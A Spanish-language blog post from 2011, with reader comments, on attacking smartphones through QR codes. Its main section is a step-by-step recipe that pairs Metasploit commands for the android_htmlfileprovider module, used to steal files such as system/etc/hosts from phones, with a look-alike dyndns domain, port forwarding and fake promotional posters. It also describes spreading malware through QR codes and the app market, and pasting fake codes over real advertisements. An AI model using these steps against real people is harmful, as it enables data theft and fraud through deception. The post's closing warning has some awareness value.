viernes, 9 de septiembre de 2011

Using QR tags to Attack SmartPhones (Attaging)

Si alguien te dijera que puede disparar un ataque informático desde un papel impreso? Pensarías que es posible?

Y si te dijera que tu smartphone es uno de los dispositivos que pueden ser atacado de esta forma ¿ Lo creerías?

Bueno si es posible!

Probablemente si conocemos en con cierta profundidad a utilizar las funciones que pueden realizarse desde este tipo de dispositivos, estaremos familiarizados con los códigos de barras o con sus primos los códigos bidimensionales o QR. Un ejemplo de esto es la imagen que se muestra a continuación



Este tipo de código permite transmitir información  a los smartphones de muchos tipos, entre las cosas que se pueden transmitir existen links web, teléfonos, sms , textos, etc.

Las personas somos incapaces de distinguir a simple vista a donde nos llevara o  que tipo de información contiene este tipo de código hasta que es escaneado por nuestro smartphone. Algunos software como el soft ScanLife redirige el usuario sin mostrarle a donde se esta dirigiendo. Esto es un serio problema ya que esto es el equivalente a hacer clic a un link con los ojos cerrados. En aquellos casos en los que el software muestra en pantalla a donde se dirigirá puede corregirse con un poco de ingeniería social más. Por ejemplo lo podemos colocar en una publicidad falsa y armamos un dominio en dyndns que sea similar a la publicidad.

 Si se paran frente aun código que esta pegado en un centro comercial verán a muchas personas escaneándolos.

Casi lo escanean simplemente para ver que es, sin interesarles mucho la seguridad de sus Celulares.
Aprovechando que el usuario actualmente ignora la peligrosidad de sus acciones, sumandole que muchos lectores redirigen automaticamente y sumando un poco de ingenieria social  se pueden disparar una variedad de ataques distintos.

Algunos de los ataques posibles son los siguientes:


Attaging + metasploit:

Este ataque consiste en levantar metasploit escuchando en una ip y un puerto en la maquina de un atacante y crear una etiqueta que lleve al smartphone a la maquina del atacante. 

Algunos pensaran que  nadie scanearia un QR por motu proprio, pero esta técnica permite fácilmente engañar al usuario.  Para motivarlo, como ejemplos podemos pegar carteles que ofrezcan participar de un sorteo o bajate el ultimo tema de Shakira, ganate una cocacola scaneando este código, etc ,etc. Cuando el usuario escanea el código es dirigido al metasploit y ya pueden imaginarse como continua.

Para preparar el escenario levantamos metasploit con de la siguiente forma:


./msfconsole

Una ves en la consola tipeamos lo siguiente

use gather/android_htmlfileprovider

set FILES system/etc/hosts
Esto es el archivo que vamos a robar del celular. Por ejemplo podemos sacar el archivo host (si no es setado intenta obener /proc/version,/proc/self/status,/data/system/packages.list)

set URIPATH /

set SRVPORT 80
Esto si no es setedo se pone a escuchar en el puerto 8080

run

Configuramos un dominio en dyndns y lo asociamos a nuestro router de internet por ejemplo: kocakola.dyndns.tv

Publicamos mediante un port forwarding en nuestro router la direccion interna de nuestro metasploit con su respectivo puerto.

por ejemplo deberia quedar asi:

METASPLOIT: 8080 <----ROUTER:80< ---------INTERNET <-----SMARTPHONE QUE LEE QR
Graficamente quedaria algo asi (no dibuje el router)



Lo siguiente es armar una etiqueta que la gente pueda scanear, para eso nos dirigimos a:



Una vez que estamos en el sitio generamos la etiqueta de nuestro sitio (en el ejemplo se creo la etiqueta para http://kokakola.dynds.tv/)

Lo que falta hora es ponerlo en un cartel publicitario, que convenza a la gente a scanear nuestro código. Pueden ser calcomanías, sellos y los mas efectivos publicidades con falsas promesas, por ejemplo participe de un sorteo por una casa escaneando este código.




Attaging + malware
La infraestructura es similar a la descripta en el punto anterior, lo único que cambia es que se invita a la victima mediante engaños a que descargue una aplicación maliciosa (troyanos keyloggers, etc) y en vez de usar metasploit usamos un webserver, hosteando los archivos maliciosos. Esto es efectivo cuando el dispositivo se encuentra con el debbug mode enable en el caso de android.
En ultima instancia para sumarle efectividad se puede subir la aplicación al market, esto permite instalar el malware sin que tenga el debug mode enable. No va a ser la primera vez que suben aplicaciones maliciosas al market.

Defacement de carteles publicitarios

Después de este tipo de ataques nacen los defacement de carteles impresos en papel, y consiste en reemplazar un código legítimo de una publicidad impresa en algún cartel publicitario, con una calcomanía superpuesta que dirija al usuario a otro sitio controlado por un atacante.
Un ejemplo puede ser las heladeras de una famosa empresa de electrodoméstico de donde se extrajo la siguiente imagen:





Asi que cuidado con lo que escaneas!..... puede haber alguien malo esperandote.
Mas novedades en estos dias.

Espero les haya gustado

Augusto Pereyra
apereyra (at) gmail.com













3 comentarios:

  1. Excelente articulo! Me encanto...Interesante!

    ResponderEliminar
  2. Excelente! la gente es muy ingenua, lo que debe hacer es utilizar software que escaneen los codigos y les muestre la ruta donde los dirigue tales como google goggles.

    ResponderEliminar
  3. Excelente artículo. Desde que escaneé mi primer QR code, usando Scan de QR Code City en mi smartphone, imaginé que algo así podía ser posible, ya que como lo mencionas "... es el equivalente a hacer clic a un link con los ojos cerrados". Hasta la fecha he usado el All Code Reader de iOS Lab y el Microsoft Tag de Microsoft Corporation, además del ya citado Scan de QR Code City, y ninguno indica el sitio que se va a visitar. Saludos.

    ResponderEliminar